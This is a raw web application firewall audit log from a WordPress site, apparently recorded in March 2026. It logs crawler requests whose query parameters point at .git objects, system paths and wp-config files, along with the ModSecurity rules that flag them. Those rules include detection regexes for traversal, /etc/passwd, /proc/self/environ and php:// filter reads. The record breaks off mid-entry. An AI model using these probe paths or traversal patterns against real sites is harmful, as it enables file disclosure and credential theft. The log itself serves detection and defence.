folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/62/72ce7798f7b9e4f3e1dad7889798d8ce7d5916||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":199,"p2":3918,"p3":0,"p4":0,"p5":301,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:27:35.247885 +0100","transaction_id":"abOgR7C1B_6BYICFawu3HgAAAUk","remote_address":"57.141.20.48","remote_port":51154,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?edit=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/JMKFilamentDB/.git/objects/44/7e3b13d653ac4ed25b76dde54bc6fe5f11b6d1 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"9b74af9227c11e33ca1e0dc8d2cdfb1c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6982265"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9b74af9227c11e33ca1e0dc8d2cdfb1c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?edit=/htdocs/jmknew.jmkconsulting-ci.com/fromgit/jmkfilamentdb/.git/objects/44/7e3b13d653ac4ed25b76dde54bc6fe5f11b6d1||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":273,"p2":5139,"p3":0,"p4":0,"p5":302,"sr":126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:27:42.822468 +0100","transaction_id":"abOgTmOvBHqXP6jl8arFbQAAAAE","remote_address":"216.73.216.152","remote_port":39780,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-config-sample.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fcdc16d0e2ab52e5342f58574478ca48","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11239631"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"fcdc16d0e2ab52e5342f58574478ca48","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"(?:wp-config-sample\\\\.php|archlve\\\\.php|lndex\\\\.php|singIe\\\\.php|sldebar\\\\.php|connents\\\\.php|archlve\\\\.php|4O4\\\\.php|functlons\\\\.php)\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"1895\"] [id \"570105\"] [msg \"Malware.Expert - Wordpress - Plugins malwares\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"(?:wp-config-sample\\\\\\\\\\\\\\\\.php|archlve\\\\\\\\\\\\\\\\.php|lndex\\\\\\\\\\\\\\\\.php|singIe\\\\\\\\\\\\\\\\.php|sldebar\\\\\\\\\\\\\\\\.php|connents\\\\\\\\\\\\\\\\.php|archlve\\\\\\\\\\\\\\\\.php|4O4\\\\\\\\\\\\\\\\.php|functlons\\\\\\\\\\\\\\\\.php)\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"1895\"] [id \"570105\"] [msg \"Malware.Expert - Wordpress - Plugins malwares\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abOgTmOvBHqXP6jl8arFbQAAAAE\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"(?:wp-config-sample\\\\.php|archlve\\\\.php|lndex\\\\.php|singIe\\\\.php|sldebar\\\\.php|connents\\\\.php|archlve\\\\.php|4O4\\\\.php|functlons\\\\.php)\" at REQUEST_URI."},"stopwatch":{"p1":269,"p2":4904,"p3":0,"p4":0,"p5":429,"sr":166,"sw":102,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:27:48.017227 +0100","transaction_id":"abOgU7C1B_6BYICFawu3LQAAAUs","remote_address":"57.141.20.55","remote_port":54350,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/n/newscbm33 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"ef457dab9799956920473c9a4a3705bd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11698320"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ef457dab9799956920473c9a4a3705bd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/n/newscbm33||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":339,"p2":5051,"p3":0,"p4":0,"p5":284,"sr":157,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:27:52.241031 +0100","transaction_id":"abOgV7C1B_6BYICFawu3PgAAAUs","remote_address":"57.141.20.46","remote_port":54350,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/d/d430c-unix-sr HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"6fbce4b35ee8c5bf8e3546a4191ca19a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9896211"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6fbce4b35ee8c5bf8e3546a4191ca19a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/d/d430c-unix-sr||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":322,"p2":5170,"p3":0,"p4":0,"p5":270,"sr":110,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:27:57.402523 +0100","transaction_id":"abOgXRLi46gS4DJVzjWTDwAAAlU","remote_address":"57.141.20.14","remote_port":50850,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/dc/4651d329add9ef3870154440e6fb81e04de45e HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.14","X-Forwarded-Proto":"https","X-Request-Id":"89c7f1897f1df67d5edc49edfaa4a5bd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2229506"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"89c7f1897f1df67d5edc49edfaa4a5bd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/dc/4651d329add9ef3870154440e6fb81e04de45e||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":199,"p2":3998,"p3":0,"p4":0,"p5":308,"sr":95,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:28:01.343237 +0100","transaction_id":"abOgYLC1B_6BYICFawu3VQAAAUo","remote_address":"57.141.20.37","remote_port":42990,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ee/e70d364312c7801c856ca6a85c9637a309b4ad HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.37","X-Forwarded-Proto":"https","X-Request-Id":"ec66fdecee727af4468beb19b6447d19","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"724472"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ec66fdecee727af4468beb19b6447d19","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ee/e70d364312c7801c856ca6a85c9637a309b4ad||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":271,"p2":5157,"p3":0,"p4":0,"p5":250,"sr":122,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:28:07.938630 +0100","transaction_id":"abOgZxQsu-n2gr4PXlWT6wAAARc","remote_address":"57.141.20.51","remote_port":52398,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/sr@latin/LC_MESSAGES/Linux-PAM.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.51","X-Forwarded-Proto":"https","X-Request-Id":"7b34ac30f2236798a3f6714099217839","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2229535"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7b34ac30f2236798a3f6714099217839","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/sr@latin/LC_MESSAGES/Linux-PAM.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":287,"p2":6727,"p3":0,"p4":0,"p5":397,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:28:13.805339 +0100","transaction_id":"abOgbWOvBHqXP6jl8arFrQAAAAE","remote_address":"57.141.20.54","remote_port":39780,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=/sftproot/htdocs/sivaco/.git/objects/3f HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.54","X-Forwarded-Proto":"https","X-Request-Id":"1baa68106a3065d3f41dea068ecedca7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11567143"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1baa68106a3065d3f41dea068ecedca7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?dir=/sftproot/htdocs/sivaco/.git/objects/3f||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":285,"p2":5221,"p3":0,"p4":0,"p5":338,"sr":140,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:28:15.053661 +0100","transaction_id":"abOgbrC1B_6BYICFawu3bQAAAUA","remote_address":"57.141.20.31","remote_port":47272,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/mibs/ietf/PIM-STD-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.31","X-Forwarded-Proto":"https","X-Request-Id":"e95092e92b0e4a77dcb9177550ff9503","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4198066"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e95092e92b0e4a77dcb9177550ff9503","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/PIM-STD-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":212,"p2":4370,"p3":0,"p4":0,"p5":387,"sr":117,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:28:40.307691 +0100","transaction_id":"abOgiGctLZHX5xWTcqfYjgAAAgo","remote_address":"57.141.20.50","remote_port":45918,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/9a/57cf8570c369b32ac7c8d4d5df938caed379db HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"069283b28d7cbed94a52a6d936c1a1fb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9830509"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"069283b28d7cbed94a52a6d936c1a1fb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/9a/57cf8570c369b32ac7c8d4d5df938caed379db||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":237,"p2":4150,"p3":0,"p4":0,"p5":380,"sr":109,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:28:40.747029 +0100","transaction_id":"abOgiGctLZHX5xWTcqfYkAAAAgo","remote_address":"57.141.20.27","remote_port":45918,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/everest-forms/everest-forms.2.0.6.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.27","X-Forwarded-Proto":"https","X-Request-Id":"f51c6c80ed8a267ba4172ae4a113d353","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10977662"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f51c6c80ed8a267ba4172ae4a113d353","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/everest-forms/everest-forms.2.0.6.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":220,"p2":5975,"p3":0,"p4":0,"p5":290,"sr":146,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:28:45.981863 +0100","transaction_id":"abOgjWctLZHX5xWTcqfYnAAAAgo","remote_address":"216.73.216.152","remote_port":45918,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-config-sample.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ec68f594cfa32b1ad20366d074ae4b2b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3835921"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ec68f594cfa32b1ad20366d074ae4b2b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"(?:wp-config-sample\\\\.php|archlve\\\\.php|lndex\\\\.php|singIe\\\\.php|sldebar\\\\.php|connents\\\\.php|archlve\\\\.php|4O4\\\\.php|functlons\\\\.php)\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"1895\"] [id \"570105\"] [msg \"Malware.Expert - Wordpress - Plugins malwares\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match 